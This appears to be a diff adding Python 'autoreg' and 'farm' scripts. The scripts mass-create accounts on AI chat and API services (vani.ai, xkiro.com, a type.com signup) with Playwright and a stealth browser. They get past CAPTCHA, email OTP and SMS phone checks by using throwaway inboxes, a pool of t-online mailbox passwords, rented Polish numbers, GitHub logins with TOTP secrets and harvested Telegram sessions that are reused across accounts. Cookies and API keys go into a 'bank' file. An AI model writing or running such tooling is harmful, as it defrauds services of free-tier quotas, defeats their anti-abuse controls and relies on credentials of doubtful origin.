fn = random.choice(['Alex', 'Max', 'Nik', 'Sam', 'Leo', 'Ivan', 'Dan', 'Kir', 'Oleg', 'Tim'])
ln = random.choice(['Morgan', 'Weber', 'Klein', 'Bauer', 'Wolf', 'Stone', 'Reed', 'Cole', 'Fox', 'Lang'])
pg.fill('input[name="first_name"]', fn)
pg.fill('input[name="last_name"]', ln)
pg.fill('input[name="email"]', emailaddr)
res['name'] = fn + ' ' + ln
pg.wait_for_timeout(random.randint(800, 2000))
pg.evaluate(btn_text(pg, r'Продолжить|Continue'))
# password step
pg.wait_for_selector('input[name="password"], input[type="password"]', timeout=30000)
pg.wait_for_timeout(1200)
pg.fill('input[type="password"]', pw)
pg.wait_for_timeout(random.randint(800, 1800))
# submit with retry: flaky Continue click (two 'Продолжить' buttons on page)
for _att in range(4):
pg.evaluate(btn_text(pg, r'Продолжить|Continue'))
pg.wait_for_timeout(4000)
if 'password' not in pg.url:
break
pg.evaluate("() => { const f=document.querySelector('form'); if(f) f.requestSubmit(); }")
pg.wait_for_timeout(3500)
if 'password' not in pg.url:
break
try:
pg.locator('button[type="submit"]').first.click(timeout=3000)
pg.wait_for_timeout(3500)
except Exception:
pass
if 'password' not in pg.url:
break
pg.wait_for_timeout(3000)
body = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:500]
res['after_password'] = body
res['url1'] = pg.url
print(' url:', pg.url[:110])
print(' body:', body[:200])
blocked = 'заблокирован' in body or 'access blocked' in body.lower() or 'обратитесь в службу поддержки' in body
if blocked:
res['err'] = 'signals block'
pg.screenshot(path=os.path.join(HERE, f'fail_{i}.png'))
print(' BLOCKED')
raise StopIteration
if 'sign-up/password' in pg.url:
res['err'] = 'password submit failed (still on form)'
pg.screenshot(path=os.path.join(HERE, f'failpw_{i}.png'))
print(' STUCK ON PASSWORD FORM')
raise StopIteration
# email verification step?
if 'code' in body.lower() or 'код' in body.lower() or 'email' in pg.url:
print(' polling mail for verification...')
if provider == 'voidash':
mail = poll_voidash(cred, 240)
elif provider == 'custom':
mail = poll_imap_gmail_fwd(emailaddr, 300)
elif provider == 'nl8':
mail = poll_tempmail(cred, 300)
else:
mail = poll_imap_tonline(emailaddr, cred, 240)
if mail:
open(os.path.join(HERE, f'mail_{i}.json'), 'w', encoding='utf-8').write(mail)
m = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mail))
code = m.group(1) if m else None
res['code'] = code
lk = re.search(r'https://[^"\\\s<]*(?:verify|confirm|otp|auth)[^"\\\s<]*', mail)
res['link'] = (lk.group(0) if lk else '')[:160]
print(f' code={code}')
if code:
for otp_try in range(3):
try:
pg.wait_for_timeout(1500)
# fill OTP per-char with playwright fill (no keyboard race)
vis = pg.locator('input:visible')
n_in = vis.count()
res['otp_inputs_n'] = n_in
if n_in >= 6:
for k, ch in enumerate(code[:6]):
vis.nth(k).fill(ch)
elif n_in >= 1:
vis.first.fill(code)
pg.wait_for_timeout(6000) # auto-submit window
if 'email-verification' in pg.url:
pg.evaluate(btn_text(pg, r'Продолжить|Continue|Verify|Подтвердить'))
pg.wait_for_timeout(6000)
body_now = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
if 'email-verification' not in pg.url or 'Invalid one-time code' not in body_now:
break
# invalid code -> wait countdown, resend, re-poll fresh code
print(' OTP INVALID, resend attempt %d' % (otp_try + 1), flush=True)
pg.wait_for_timeout(30000)
pg.evaluate("""() => { const l=[...document.querySelectorAll('a,button,span,div')].find(e=>e.children.length===0 && /Didn.t receive|request a new|Не получили/i.test((e.innerText||'').trim())); if(l) l.click(); }""")
rs_ts = time.time()
pg.wait_for_timeout(3000)
code = None
mail2 = poll_imap_gmail_fwd(emailaddr, 240, min_ts=rs_ts)
if mail2:
m2 = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mail2))
code = m2.group(1) if m2 else None
res['code'] = code
print(f' fresh code={code}', flush=True)
if not code:
break
except Exception as e:
res['code_err'] = str(e)[:120]
break
# ---- phone verification step (WorkOS SMS via 2no.pl) ----
pg.wait_for_timeout(3000)
body_ph = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
if 'телефон' in body_ph.lower() or 'phone' in body_ph.lower():
print(' PHONE step:', body_ph[:150])
ph_inputs = pg.evaluate("() => [...document.querySelectorAll('input')].filter(e=>e.offsetParent&&e.type!=='hidden').map(e=>({t:e.type,ml:e.maxLength,n:e.name,ph:e.placeholder}))")
res['phone_inputs'] = ph_inputs
print(' phone inputs:', ph_inputs)
# start SMS reader FIRST — chrome launch+login warms up while we fill fields
import subprocess
from datetime import datetime, timedelta
# reserve a FRESH 2nd-no number per registration (WorkOS binds phone to account)
stamp = int(time.time())
rfile = os.path.join(HERE, f'reserve_{stamp}.json')
cfile = os.path.join(HERE, f'smscode_{stamp}.json')
min_ts = (datetime.now() - timedelta(minutes=120)).isoformat(timespec='seconds')
smslog = open(os.path.join(HERE, f'sms_reserve_{stamp}.log'), 'w', encoding='utf-8')
sms_proc = subprocess.Popen(
[PY311, os.path.join(HERE, 'sms2no_reserve.py'), *no_cred(), rfile, cfile, '360', min_ts],
stdout=smslog, stderr=subprocess.STDOUT, text=True,
cwd=HERE, env={**os.environ, 'PYTHONPATH': '', 'PYTHONIOENCODING': 'utf-8'})
# wait for reservation (2no login + reserve/reuse ~40-120s)
phone_dyn = None
t0 = time.time()
while time.time() - t0 < 380:
if os.path.exists(rfile):
try:
phone_dyn = json.load(open(rfile, encoding='utf-8'))
break
except Exception:
pass
if sms_proc.poll() is not None and not os.path.exists(rfile):
break # reader died — check sms_reserve_*.log
time.sleep(2)
try:
smslog.close()
except Exception:
pass
if not phone_dyn or not phone_dyn.get('phone'):
res['err'] = 'reserve timeout'
raise RuntimeError('2no reserve timeout')
PHONE_DYN = str(phone_dyn['phone'])
res['phone'] = PHONE_DYN
res['number_id'] = phone_dyn.get('number_id')
print(' reserved:', PHONE_DYN)
# split into country_code + local_number (WorkOS split fields); 2no free pool = PL
if PHONE_DYN.startswith('+48'):
cc, local = '+48', re.sub(r'\D', '', PHONE_DYN[3:])
else:
m_ph = re.match(r'(\+\d{1,3})(\d+)', PHONE_DYN)
cc, local = m_ph.group(1), m_ph.group(2)
filled_ph = pg.evaluate("""(v) => {
const inp=document.querySelector('input[name=country_code]');
if(!inp) return 0; inp.focus();
const setter=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value').set;
setter.call(inp, v); inp.dispatchEvent(new Event('input',{bubbles:true}));
inp.dispatchEvent(new Event('change',{bubbles:true})); return 1;
}""", cc)
pg.wait_for_timeout(500)
ln = pg.query_selector('input[name=local_number]')
if ln:
ln.click()
pg.keyboard.type(local, delay=130)
filled_ph += 1
pg.wait_for_timeout(800)
ph_vals = pg.evaluate("() => JSON.stringify({cc:document.querySelector('input[name=country_code]')?.value, ln:document.querySelector('input[name=local_number]')?.value})")
res['phone_values'] = ph_vals
print(' phone values:', ph_vals)
res['phone_filled'] = filled_ph
pg.wait_for_timeout(1200)
clicked = pg.evaluate(btn_text(pg, r'Send verification|Отправить код|Send verification code|Send code|Продолжить|Continue|Verify'))
if not clicked:
try:
pg.get_by_role('button', name=re.compile('send|verification|отправить|continue|продолжить', re.I)).first.click(timeout=5000)
clicked = 'locator'
except Exception as ce:
print(' SEND CLICK FAIL:', str(ce)[:100], flush=True)
print(' send clicked:', clicked, flush=True)
pg.wait_for_timeout(5000)
body_after_send = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
res['after_phone_send'] = body_after_send
print(' after send:', body_after_send[:150])
sms_code = None
t1 = time.time()
while time.time() - t1 < 420:
if os.path.exists(cfile):
try:
d = json.load(open(cfile, encoding='utf-8'))
sms_code = d.get('code')
res['sms_raw'] = json.dumps(d, ensure_ascii=False)[:200]
break
except Exception:
pass
if sms_proc.poll() is not None and time.time() - t1 > 30:
break # reader died without code file
time.sleep(3)
try:
if sms_proc.poll() is None:
sms_proc.kill()
except Exception:
pass
res['sms_code'] = sms_code
print(' sms code:', sms_code, '| raw:', str(res.get('sms_raw'))[:120])
if sms_code:
try:
pg.evaluate("() => { const inp=[...document.querySelectorAll('input')].find(e=>e.offsetParent && e.type!=='hidden'); if(inp) inp.focus(); }")
pg.keyboard.type(sms_code, delay=200)
except Exception as e:
res['sms_type_err'] = str(e)[:150]
pg.wait_for_timeout(12000) # auto-submit + navigation window
try:
if re.search(r'Продолжить|Continue|Verify|Подтвердить', pg.evaluate('() => document.body.innerText')):
pg.evaluate(btn_text(pg, r'Продолжить|Continue|Verify|Подтвердить'))
pg.wait_for_timeout(9000)
except Exception:
pass # navigation in flight = good sign
try:
pg.wait_for_load_state('domcontentloaded', timeout=20000)
except Exception:
pass
try:
res['after_phone_code'] = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
res['phone_url'] = pg.url
print(' after phone code url:', pg.url[:100])
except Exception as e:
res['phone_state_err'] = str(e)[:120]
# final state
res['final_url'] = pg.url
res['final_body'] = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
cks = pg.context.cookies()
res['cookies'] = [{'name': c['name'], 'value': c['value'], 'domain': c.get('domain')} for c in cks] if isinstance(cks, list) else str(cks)[:1000]
try:
res['local_storage'] = pg.evaluate("() => JSON.stringify(Object.fromEntries(Object.keys(localStorage).map(k=>[k,(localStorage.getItem(k)||'').slice(0,2000)])))")
except Exception:
pass
pg.screenshot(path=os.path.join(HERE, f'ok_{i}.png'))
if 'auth.type.com' not in pg.url:
res['ok'] = True
okc += 1
print(f' [{i}] OK url={pg.url[:100]}')
else:
res['err'] = res.get('err') or 'stuck on auth'
print(f' [{i}] FAIL {res.get("err")}')
except StopIteration:
pass
except Exception as e:
res['err'] = str(e)[:250]
print(f' [{i}] EXC: {str(e)[:180]}')
finally:
if b:
try:
b.close()
except Exception:
pass
with open(OUT, 'a', encoding='utf-8') as f:
f.write(json.dumps(res, ensure_ascii=False) + '\n')
if res.get('email'):
with open(os.path.join(HERE, 'used_emails.txt'), 'a') as f:
f.write(res['email'] + '\n')
time.sleep(random.randint(5, 12))
print(f'DONE ok={okc}/{n}')
if __name__ == '__main__':
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
provider = sys.argv[2] if len(sys.argv) > 2 else 'voidash'
run(n, provider)

231
providers/vani_turnstile.py Normal file
View File

@@ -0,0 +1,231 @@
# -*- coding: utf-8 -*-
"""Vani.ai autoreg — cloakbrowser native turnstile + voidash/t-online email
Flow: /login?next=/chat -> email + native TS token -> Check your email -> code/link -> session
"""
import sys, re, json, time, random, string, os
import requests
sys.stdout.reconfigure(encoding='utf-8')
BASE = 'https://c.vani.ai'
LOGIN = BASE + '/login?next=%2Fchat'
OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'vani_accounts.jsonl')
VOID = 'https://api.voidash.com/api/v1'
IMAP_POOL = r'C:\Users\User\Desktop\avtoreg\working_mails.txt'
r = lambda n: ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
def make_voidash():
d = requests.post(VOID + '/inboxes', json={'domain': 'voidash.bond'}, timeout=30).json()
return ('voidash', d['address'], d['session_key'])
def load_tonline(n=1):
used = set()
if os.path.exists('used_emails.txt'):
used = set(l.strip() for l in open('used_emails.txt') if l.strip())
out = []
for line in open(IMAP_POOL, encoding='utf-8'):
line = line.strip()
if ':' not in line or line.startswith('#'):
continue
em, pw = line.split(':', 1)
if '-' in em.split('@')[0] or em in used: # dash-алиасы мертвы
continue
out.append(('t-online', em, pw))
if len(out) >= n:
break
return out
def poll_voidash(key, timeout=240):
t0 = time.time()
while time.time() - t0 < timeout:
try:
msgs = requests.get(VOID + '/messages', headers={'Authorization': 'Bea' + 'rer ' + key}, timeout=30).json()
items = msgs if isinstance(msgs, list) else msgs.get('messages', msgs.get('data', []))
for m in items:
body = json.dumps(m, ensure_ascii=False)
if 'vani' in body.lower():
return body
except Exception:
pass
time.sleep(5)
return None
def poll_imap_tonline(email, pw, timeout=240):
import imaplib, email as emlib
t0 = time.time()
while time.time() - t0 < timeout:
try:
M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993)
M.login(email, pw)
M.select('INBOX')
typ, data = M.search(None, '(SUBJECT "Vani")')
ids = data[0].split()
if not ids:
typ, data = M.search(None, 'ALL')
ids = data[0].split()[-5:]
for i in ids[-5:]:
typ, md = M.fetch(i, '(RFC822)')
msg = emlib.message_from_bytes(md[0][1])
frm = str(msg.get('From', ''))
if 'vani' not in frm.lower():
continue
body = ''
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == 'text/html':
body = part.get_payload(decode=True).decode('utf-8', 'replace')
break
else:
body = msg.get_payload(decode=True).decode('utf-8', 'replace')
M.logout()
return json.dumps({'from': frm, 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False)
M.logout()
except Exception as e:
print(' imap retry:', str(e)[:80])
time.sleep(8)
return None
def extract_code_link(mailjson):
code = None
link = None
lk = re.search(r'https://c\.vani\.ai/[^\s"\\<]+', mailjson)
if lk:
link = lk.group(0).replace('\\u0026', '&').replace('\\/', '/').replace('\\u003d', '=')
# 6-digit code — в тексте, часто крупным шрифтом; ищем изолированные 6 цифр
for m in re.finditer(r'(?:code[^0-9]{0,40}|>)\s*([0-9]{6})\s*(?:<|$|[^0-9])', mailjson, re.I):
code = m.group(1)
break
if not code:
m = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mailjson))
if m:
code = m.group(1)
return code, link
def run(n, provider='voidash'):
import cloakbrowser
okc = 0
for i in range(n):
res = {'ok': False, 'ts': int(time.time()), 'provider': provider}
b = None
try:
if provider == 'voidash':
kind, emailaddr, cred = make_voidash()
else:
kind, emailaddr, cred = load_tonline(1)[0]
res['email'] = emailaddr
print(f'[{i}] email={emailaddr}')
b = cloakbrowser.launch(headless=True)
pg = b.new_page()
pg.goto(LOGIN, wait_until='domcontentloaded', timeout=60000)
pg.wait_for_selector('input[type=email]', timeout=25000)
pg.wait_for_timeout(2000)
# cookie banner accept
try:
btn = pg.evaluate("""() => { const b=[...document.querySelectorAll('button')].find(e=>(e.innerText||'').trim()==='Accept'); if(b){b.click();return 1;} return 0; }""")
except Exception:
pass
pg.fill('input[type=email]', emailaddr)
# ждём нативный turnstile токен в hidden input
tok = None
for _ in range(50):
v = pg.evaluate("() => document.querySelector('input[name=turnstile_token]')?.value?.length || 0")
if v and v > 50:
tok = v
break
pg.wait_for_timeout(2500)
res['ts_token_len'] = tok or 0
if not tok:
res['err'] = 'turnstile token timeout'
print(' TS timeout')
raise StopIteration
pg.wait_for_timeout(1000)
pg.evaluate("() => { const b=[...document.querySelectorAll('button')].find(e=>(e.innerText||'').includes('Email me a sign-in')); b.click(); }")
pg.wait_for_timeout(9000)
body = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
res['after_submit'] = body
if 'Check your email' not in body and 'code' not in body.lower():
res['err'] = 'no confirmation: ' + body[:200]
print(' FAIL submit:', body[:150])
raise StopIteration
print(' confirmation OK, polling mail...')
mail = poll_voidash(cred, 240) if provider == 'voidash' else poll_imap_tonline(emailaddr, cred, 240)
if not mail:
res['err'] = 'no email'
raise StopIteration
open(f'mail_{i}.json', 'w', encoding='utf-8').write(mail)
code, link = extract_code_link(mail)
res['code'] = code
res['link'] = (link or '')[:140]
print(f' code={code} link={(link or "")[:80]}')
verified = False
if code:
# ввод кода на странице
try:
inputs = pg.evaluate("() => [...document.querySelectorAll('input')].map(e=>({t:e.type,n:e.name,ml:e.maxLength}))")
res['code_inputs'] = inputs
filled = False
for idx, inp in enumerate(inputs):
if inp.get('ml') == 6 or (inp.get('t') == 'text' and inp.get('n', '').lower().find('code') > -1):
sel = f"input >> nth={idx}"
pg.fill(sel, code)
filled = True
break
if not filled:
# OTP-style раздельные боксы
boxes = pg.query_selector_all("input[maxlength='1']")
if len(boxes) >= 6:
for j, ch in enumerate(code):
boxes[j].fill(ch)
filled = True
if filled:
pg.wait_for_timeout(2000)
pg.evaluate("() => { const b=[...document.querySelectorAll('button')].find(e=>/verify|continue|sign in|submit/i.test(e.innerText||'')); if(b) b.click(); }")
pg.wait_for_timeout(8000)
except Exception as e:
res['code_err'] = str(e)[:120]
body2 = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
res['after_code'] = body2
if pg.url.rstrip('/').endswith('chat') or 'chat' in pg.url or 'welcome' in body2.lower() or 'new chat' in body2.lower():
verified = True
if not verified and link:
pg.goto(link, wait_until='domcontentloaded', timeout=60000)
pg.wait_for_timeout(8000)
body3 = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
res['after_link'] = body3
res['final_url'] = pg.url
if '/login' not in pg.url:
verified = True
if verified:
cks = pg.context.cookies() if hasattr(pg, 'context') else pg.evaluate('() => document.cookie')
res['cookies'] = cks if isinstance(cks, list) else str(cks)[:500]
res['final_url'] = pg.url
res['ok'] = True
okc += 1
print(f' [{i}] OK verified, url={pg.url}')
else:
res['err'] = res.get('err') or 'not verified'
pg.screenshot(path=f'fail_{i}.png')
print(f' [{i}] FAIL: {res.get("err")}')
except StopIteration:
pass
except Exception as e:
res['err'] = str(e)[:200]
print(f' [{i}] EXC: {str(e)[:150]}')
finally:
if b:
try:
b.close()
except Exception:
pass
with open(OUT, 'a', encoding='utf-8') as f:
f.write(json.dumps(res, ensure_ascii=False) + '\n')
if res.get('email'):
with open('used_emails.txt', 'a') as f:
f.write(res['email'] + '\n')
time.sleep(random.randint(5, 12))
print(f'DONE ok={okc}/{n}')
if __name__ == '__main__':
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
provider = sys.argv[2] if len(sys.argv) > 2 else 'voidash'
run(n, provider)

View File

@@ -0,0 +1,258 @@
# -*- coding: utf-8 -*-
"""xkiro_farm.py — FULL E2E: GH OAuth -> login -> TG ticket -> bot verify (30M tokens) -> API key -> bank.
One cffi session per account (middleware rotates __xt_rt single-use — cookies MUST stay in-session).
Usage: PYTHONPATH="" Python311 xkiro_farm.py <count> [start]
Bank: C:/Users/User/tmp/xkiro/xkiro_bank.jsonl
"""
import sys, os, json, time, re, asyncio, argparse
sys.path.insert(0, 'C:/Users/User/tmp/regfarm')
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
from curl_cffi import requests as cq
import gh_http
XK = 'https://xkiro.com'
API = 'https://api.xkiro.com'
CID = 'Ov23li0EyjNfkXUSKZel'
BANK = r'C:/Users/User/tmp/xkiro/xkiro_bank.jsonl'
GOOD_TG = r'C:/Users/User/tmp/xkiro/xkiro_good_tg.json' # proven REUSABLE sessions (verified 2+ accounts)
POOL = r'C:/Users/User/tmp/gh_accounts.json'
USED = r'C:/Users/User/tmp/xkiro/xkiro_used_tg.json'
AVAIL = r'C:/Users/User/tmp/mia_avail_sessions.json'
DIRS = [r'C:/Users/User/Desktop/CLEAN_ALIVE_SESSIONS', r'C:/Users/User/.orca/sessions']
IMP = 'chrome131'
H = {'Accept': 'application/json', 'Content-Type': 'application/json',
'Referer': XK + '/dashboard', 'Origin': XK}
# TG creds
import glob as _g
TG_ID, TG_HASH = None, None
for p in [r'C:/Users/User/tmp/mia_verify_slow.py', r'C:/Users/User/tmp/freemodel/freemodel_full.py']:
try:
t = open(p, encoding='utf-8').read()
m1 = re.search(r'API_ID\s*=\s*(\d+)', t)
m2 = re.search(r'API_HASH\s*=\s*[\'"]([a-f0-9]+)[\'"]', t)
if m1 and m2:
TG_ID, TG_HASH = int(m1.group(1)), m2.group(1)
break
except Exception:
pass
def log(*a):
print(*a, flush=True)
def good_sessions():
"""Proven reusable TG sessions (rotate, no consumption)."""
out = []
try:
for p in json.load(open(GOOD_TG)):
if os.path.exists(p):
out.append(p)
except Exception:
pass
return out
def mark_good(path):
try:
g = json.load(open(GOOD_TG))
except Exception:
g = []
if path not in g:
g.append(path)
json.dump(g, open(GOOD_TG, 'w'))
def tg_sessions(n=4):
names = json.load(open(AVAIL))
try:
used = set(json.load(open(USED)))
except Exception:
used = set()
# exclude sessions already consumed by miarouter verifier (avoid AuthKeyDuplicated)
try:
mstate = json.load(open(r'C:/Users/User/Desktop/farm/miarouter/verifier_state.json'))
used |= set(mstate.get('used_tg', []))
except Exception:
pass
tail = [b for b in names if b not in used]
tail = tail[-n:] # TAIL: miarouter verifier walks head-first
out = []
for b in tail:
for d in DIRS:
p = os.path.join(d, b)
if os.path.exists(p):
out.append(p)
break
return out
def mark_tg_used(basename):
try:
used = set(json.load(open(USED)))
except Exception:
used = set()
used.add(basename)
json.dump(sorted(used), open(USED, 'w'))
async def bot_start(sess_path, ticket):
from telethon import TelegramClient
name = os.path.basename(sess_path)
client = TelegramClient(sess_path.replace('.session', ''), TG_ID, TG_HASH)
try:
await asyncio.wait_for(client.connect(), 45)
if not await client.is_user_authorized():
return name, 'NOT_AUTH'
await client.send_message('xkiro_official_bot', '/start ' + ticket)
await asyncio.sleep(9)
msgs = await client.get_messages('xkiro_official_bot', limit=4)
txt = ' '.join((m.message or '')[:200] for m in msgs if not m.out).lower()
if 'verified successfully' in txt or "you've received" in txt:
return name, 'OK'
if 'join' in txt or 'channel' in txt:
from telethon.tl.functions.channels import JoinChannelRequest
try:
await client(JoinChannelRequest('xtrouter'))
await asyncio.sleep(3)
await client.send_message('xkiro_official_bot', '/start ' + ticket)
await asyncio.sleep(8)
msgs = await client.get_messages('xkiro_official_bot', limit=4)
txt = ' '.join((m.message or '')[:200] for m in msgs if not m.out).lower()
if 'verified' in txt:
return name, 'OK'
return name, 'REPLY:' + txt[:120]
except Exception as e:
return name, 'JOIN_FAIL:' + type(e).__name__
return name, 'REPLY:' + txt[:120]
finally:
try:
await client.disconnect()
except Exception:
pass
def farm_one(acc, tgsess):
lg = acc['login']
rec = {'gh_login': lg, 'ts': time.strftime('%H:%M:%S')}
s = cq.Session(impersonate=IMP)
# 1 state
try:
r = s.get(API + '/api/v1/auth/github', headers={**H, 'Accept': 'text/html', 'Sec-Fetch-Site': 'none'},
allow_redirects=False, timeout=30)
loc = r.headers.get('Location', '') or ''
m = re.search(r'state=([a-f0-9]{16,})', loc)
if not m:
m = re.search(r'state=([a-f0-9]{16,})', r.text or '')
if not m:
rec['stage'] = 'state'; rec['err'] = f'http={r.status_code}'
return rec
state = m.group(1)
except Exception as e:
rec['stage'] = 'state'; rec['err'] = str(e)[:100]; return rec
# 2 gh code
gh = gh_http.GHSession(bind=False)
ok, err = gh.login(lg, acc['password'], acc.get('totp'))
if not ok:
rec['stage'] = 'gh_login'; rec['err'] = err; return rec
code, cerr = gh.oauth_code(CID, state, scope='read:user user:email')
if not code:
rec['stage'] = 'gh_code'; rec['err'] = cerr; return rec
# 3 callback (same session!)
try:
r3 = s.get(API + f'/api/v1/auth/github/callback?code={code}&state={state}',
headers={**H, 'Accept': 'text/html', 'Sec-Fetch-Site': 'cross-site',
'Referer': 'https://github.com/'}, timeout=40)
cks = dict(s.cookies)
if not cks.get('__xt_at'):
rec['stage'] = 'callback'; rec['err'] = f'http={r3.status_code} no __xt_at'
return rec
rec['cookies'] = cks
except Exception as e:
rec['stage'] = 'callback'; rec['err'] = str(e)[:100]; return rec
# 4 ticket via xkiro.com proxy (cookies same names, set on xkiro.com)
s2 = cq.Session(impersonate=IMP)
for k, v in cks.items():
s2.cookies.set(k, v, domain='xkiro.com')
s2.cookies.set(k, v, domain='.xkiro.com')
if not tgsess:
rec['tg'] = 'NO_TG_SESSION'
else:
try:
rt = s2.post(XK + '/api/v1/me/telegram/ticket', headers=H, data='{}', timeout=25)
j = rt.json()
data = j.get('data') or {}
if data.get('alreadyVerified'):
rec['tg'] = 'already'
else:
dl = data.get('deepLink', '')
ticket = dl.split('start=')[-1] if 'start=' in dl else ''
if not ticket:
rec['stage'] = 'ticket'; rec['err'] = rt.text[:120]; return rec
# 5 bot verify
try:
sp, res = asyncio.run(bot_start(tgsess, ticket))
except Exception as be:
res = f'EXC:{type(be).__name__}:{str(be)[:60]}'
rec['tg'] = res; rec['tg_sess'] = os.path.basename(tgsess)
if res == 'OK':
mark_tg_used(os.path.basename(tgsess)) # consumed: 1 TG acct = 1 xkiro verification
else:
mark_tg_used(os.path.basename(tgsess)) # any failure: never reuse (dup/NOT_AUTH/burned)
except Exception as e:
rec['stage'] = 'ticket'; rec['err'] = str(e)[:100]
# refresh cookies after middleware rotation
fresh = dict(s2.cookies)
if fresh.get('__xt_at'):
rec['cookies'] = {**cks, **fresh}
# 6 key + wallet + status
try:
rk = s2.post(XK + '/api/v1/keys', headers=H, data=json.dumps({'name': 'farm'}), timeout=25)
jk = rk.json()
rec['key'] = (jk.get('data') or {}).get('plaintext')
rec['key_id'] = ((jk.get('data') or {}).get('key') or {}).get('id')
except Exception as e:
rec['key_err'] = str(e)[:80]
try:
rec['wallet'] = s2.get(XK + '/api/v1/wallet', headers=H, timeout=20).json().get('data')
rec['tg_status'] = s2.get(XK + '/api/v1/me/telegram/status', headers=H, timeout=20).json().get('data')
except Exception:
pass
rec['stage'] = 'done'
return rec
def main():
ap = argparse.ArgumentParser()
ap.add_argument('count', type=int, nargs='?', default=1)
ap.add_argument('start', type=int, nargs='?', default=0)
args = ap.parse_args()
pool = json.load(open(POOL))
done = set()
try:
for line in open(BANK, encoding='utf-8'):
r = json.loads(line)
if r.get('stage') == 'done' or r.get('key'):
done.add(r['gh_login'])
except Exception:
pass
cand = [a for a in pool if a['login'] not in done]
log(f'=== xkiro farm: {args.count}, candidates {len(cand)}, TG_ID set: {TG_ID is not None}')
tgs = tg_sessions(args.count + 2)
log('tg sessions:', len(tgs))
n = 0
for i, a in enumerate(cand[args.start:]):
if n >= args.count:
break
goods = good_sessions()
if goods:
tg = goods[n % len(goods)] # REUSE: proven sessions verify unlimited accounts
else:
tgs = tg_sessions(1) # fresh per account: excludes xkiro-used + miarouter used_tg
tg = tgs[0] if tgs else None
log(f'--- {a["login"]} (tg: {os.path.basename(tg) if tg else "NONE"})')
try:
rec = farm_one(a, tg)
except Exception as e:
rec = {'gh_login': a['login'], 'stage': 'exc', 'err': f'{type(e).__name__}:{e}'[:120]}
with open(BANK, 'a', encoding='utf-8') as f:
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
log(' ', {k: (str(v)[:60] if k not in ('cookies',) else '<saved>') for k, v in rec.items() if k != 'gh_login'})
n += 1
time.sleep(25)
if __name__ == '__main__':
main()